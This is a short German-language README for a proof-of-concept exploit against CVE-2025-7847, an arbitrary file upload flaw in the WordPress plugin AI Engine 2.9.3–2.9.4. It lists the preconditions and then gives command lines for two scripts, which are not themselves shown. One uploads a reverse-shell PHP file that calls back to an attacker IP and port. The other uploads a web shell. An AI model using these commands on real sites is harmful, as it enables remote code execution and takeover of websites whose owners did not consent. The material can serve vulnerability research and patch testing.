CVE-2025-7847 Wordpress-Plugin – POC für beliebigen Datei-Upload durch authentifizierte Abonnenten

Wordpress-Plugin AI Engine 2.9.3 – 2.9.4 Proof of Concept

Bitte beachten Sie, dass diese Schwachstelle nur dann ausgenutzt werden kann, wenn die Option „Public API“ aktiviert ist (standardmäßig deaktiviert), kein Bearer-Token konfiguriert ist und auch keine benutzerdefinierte Authentifizierung hinzugefügt und zum Schutz der API verwendet wird.

Automatisierte Version

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Nur Web-Shell-Upload

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php